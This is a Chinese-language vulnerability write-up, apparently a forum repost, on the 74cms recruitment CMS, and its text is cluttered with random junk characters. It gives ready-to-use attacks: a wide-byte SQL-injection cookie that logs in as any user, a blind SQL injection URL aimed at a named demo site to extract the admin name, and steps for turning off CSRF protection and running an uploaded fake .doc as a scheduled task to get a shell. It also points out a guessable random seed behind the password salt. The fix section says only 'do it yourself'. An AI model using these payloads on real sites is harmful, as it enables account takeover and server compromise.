0x1 任意用户登录/ [% _: r6 a5 k5 H
) f; }; q, Y0 P! L8 X1 r/ l; C* O! r
0x2 盲注
! T- _" ^+ ^9 _1 c; i+ z
8 W7 G) C5 @3 d+ L/ e 0x3 后台拿shell
, P4 x) C$ y' [2 P0 b7 t/ m
+ S. p5 ?! w5 R4 b: r' E* e 0x4 随机函数问题
5 X# D: y+ _4 r( W9 p9 ]: S/ u7 _
% C+ t S: J. X1 G5 w# R 详细说明：5 U8 W6 ~) ^6 c& x2 l1 @; M$ L2 J
! @% ?: [) T7 T3 J+ b' W 0x1 任意用户登录/ D* d; K7 ]8 V& f9 B8 _; U2 J
4 X$ h: s \- o" e8 z
user/login.php- o5 k2 q' S4 V# p& U0 Q
- O2 M" ?% h; c6 U) ?* B- e elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])1 t. ~1 \! b; z: ?
& ]+ O0 B. z- G. I+ o, Y {) G8 G! v% U' m
4 e& P& ^, h( p) n) v* S if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))! h' [$ v* m# @' |
7 i' r8 L/ s5 w3 H, n1 U- y1 ^ {
# {' U, ^4 z' L9 A4 N; @
5 ~# R6 |5 g' Z5 L+ Q2 T8 A ` update_user_info($_COOKIE['QS']['uid'],false,false);' p# p% T) Q3 B+ O: g& g
3 C6 q% C4 j1 y* x. I' s
header("Location:".get_member_url($_SESSION['utype']));% }& K2 y3 ?7 s* ^3 B j: O
+ n* j0 B! h% a) m* S' L }* v. @2 j8 }- f) ~
) e/ T0 {/ @! i [, l else; O. {( S* @6 s! ]2 y( D
1 m9 r3 S9 K# o& A' Y1 a# q0 r {
1 m& Y9 a2 ?. N( W9 E; i2 v- {6 G b# L6 v2 f: F. T
unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
) h/ O% n) u0 f
8 y+ y! O& _) C8 l3 l! q, U setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
6 ?' s/ z7 a9 Y$ \' A" }, z: W
V' }0 z* k- H8 B2 W2 e setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);4 ?/ E7 t9 u$ x5 g3 O
* w0 d! b" z+ S. l' D( k7 h9 p setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
8 }$ I6 L; a, ]# s8 m6 Q
0 S1 p. k/ j9 [: ]; C3 k% [ setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);: L& i9 l: }( `( |6 A; t9 T
& l4 I5 t k+ U' y9 L' _0 p/ m; ?
header("Location:".url_rewrite('QS_login'));; w) T+ q W1 ]/ K: H8 P) n; \
$ |1 P% _1 G; P c
}
* h4 I4 t& l5 b# y; T" C
7 |' P5 r: Z Y: v* ~* o }
6 v& a, _/ w' L1 Y
, x3 x3 Z9 M6 m# w2 g! O7 u: m" w7 a2 E include/fun_user.php
5 X7 s9 z/ K1 A% R3 @
2 ? U# K) B; Z& v5 t# v% f //检测COOKIE- ` v [4 `5 b+ s6 y$ Y+ p: y1 ]1 ?
7 O- q# }& k6 O function check_cookie($name,$pwd){
' n+ O/ q3 Y- ], l6 ^% u2 P& V9 a* r
global $db;6 X2 c: ?! K8 h. S- N0 W& U) K
. c' B6 ^6 P+ Z
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
: Z9 e+ M* R+ C- k" i8 T1 M; T: }6 ~" m U1 v
if($row['num'] > 0)
5 \$ e8 @' J* ~* U
* C, `; b" l2 A' M. Y2 I9 z6 C7 l {
; W( o( T9 Y% I) F0 h" d0 ]* T
6 d) `& D" t5 `9 i; t9 [5 N return true;
, A O- E5 z* v7 v, m5 Z1 A$ ]
2 @" c; O" J! ]7 O) Y9 n }else{
* b! @0 C% n5 o! x( ~3 \1 g) ?+ Z; o2 O# B
return false; C, {7 n. U" Z* j, R( R3 `* R* Q6 a
. J* k4 V- y9 T! ^
}
6 t3 V: O8 B8 T4 a- X6 [6 R j# r: J& P a2 G5 A
}+ N, p& [! o& V2 E! a
( `% x' D% v: j0 K
构造cookie如下
- H2 s" A: k9 V; X& L& `3 @. o- Y) D
?9 t0 S" x1 I3 {# e, a! y QS[uid] 2 z% d* K/ K$ r- x% I
, @. c' L5 N: @) P* n0 r- Y) q QS[utype] 1: L8 `# O3 g7 t7 i
+ N7 O+ d' G2 O: B8 |
QS[password] 111111111111111111111% R+ G7 n H3 {% I" b; X' Y8 g# G
& w- t$ i0 D- P8 g, C
QS[username]%bf%27 or 1=1 %23' W- N+ B# O* D7 `7 x8 D
5 B* U/ K+ { x$ N+ }. x uid 为假冒用户的ID utype为用户类型password任意& `# N. s! [# f! u7 f% n
% W G G' L3 f+ ^+ F 0x2 盲注5 \) q' x8 d! E% L
2 M: E2 H7 U, I& ^5 E9 G' a
http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%231 O5 |0 t" T8 H$ f
8 H* B5 z$ O9 H- V. s
上面两个都是宽字节注入,如果你能猜出管理员密码，还能解出双重md5的话，还能猜出后台路径，继续看下面2 d& T* l* D7 ?3 ]) Y6 j
: P+ N- f/ n5 R. `
0x3 后台拿shell# {/ Z, Y& p$ }! d ~% P
. \" k+ [- G8 l6 M% v j7 x* ?8 J 1.先关闭csrf防御功能
7 Y' o& T! ?7 s i
) S( w* N* R0 m% e! B" t/ L 2.在hr工具箱中添加一个伪造的doc，内容为，记下路径data/hrtools/2012/06/1339941553308.doc
: Y: l9 n2 d( m6 v) D6 Z6 i+ O0 O- z' s- h/ N5 r; A7 `; N, O
3.在工具-计划任务中添加任务，脚本任务填../../data/hrtools/2012/06/1339941553308.doc# z8 B* w/ ?. k; z: D7 K
N; f* [* N$ h( K- n \. l6 C 4.然后执行* f, m. F, U& g- l; V3 O/ ]
5 p9 [ k: T- X* I3 T 0x4 随机函数问题(几乎可以无视，纯属个人YY), N" l9 Y# c; F# F y( n
7 ?! K0 R2 b# Q
在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的，只要能猜出就可已不用解双重md5了。 R3 i+ U% ^7 t: `
8 _: B: d6 p+ ]7 @/ h5 z+ c. j 这个$QS_pwdhash是由randstr生成2 Z* g |3 c! f: y5 E
7 C9 [/ E8 c: ^" G* X
function randstr($length=6)! W; t0 z7 s2 g' w$ w
0 W* \$ ?4 o2 i {7 M" R& L: g1 X' U/ G
! |$ Q l/ ?* F5 L( d $hash='';* Z. t6 Q" ]2 c; C% O% T+ z
. z) Z: g4 Z7 ~- ?3 L3 S. y, }
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
6 B; @% x- A6 z5 D( e5 l) j% e) Q3 h4 |3 y
$max=strlen($chars)-1;. p; a( [ n, g8 T v
) E, q2 y. Z$ N! Z. ?7 O
mt_srand((double)microtime()*1000000);
" p: d5 C/ Y1 Q' v; ]* N4 T+ v+ k, a! c& b" A) G# b
for($i=0;$i<$length;$i++) { g4 \ y k& ~
/ d: o/ b- M7 {& Q: P, S( \; Z
$hash.=$chars[mt_rand(0,$max)];
! h( ~6 g* f! {: D
+ `7 ?" e K9 u5 {! N5 p } q1 X; A. q$ v
" w! e1 B& N7 o1 _9 z3 ?/ \8 K t return $hash;- W- z+ t' _! a# ?0 ]
+ i& y0 j4 t6 w }
+ A5 C7 D' T$ H% U1 y) V2 T5 d" G# n
生成长度为6的随机数，mt_srand()播种一样，就会得到一样的随机数，所以我们最多要猜1000000次就可以了(蛋疼)6 ~ k. |! ~5 W6 @9 a
9 `- A' K4 j2 {# i0 p0 @ 漏洞证明：
8 N; ?) b' |; }$ F! M4 i! g: f: M( h& |3 i1 v1 N
修复方案：; q- L) ^$ g; d$ q' S& i- s
U5 r7 _6 |* q ~: j do it yourself~" X4 I2 t! ^! A+ h+ N/ |
; e. R+ o7 c) I
解决一切网站安全，湖盟云防火墙：hnhack.com |
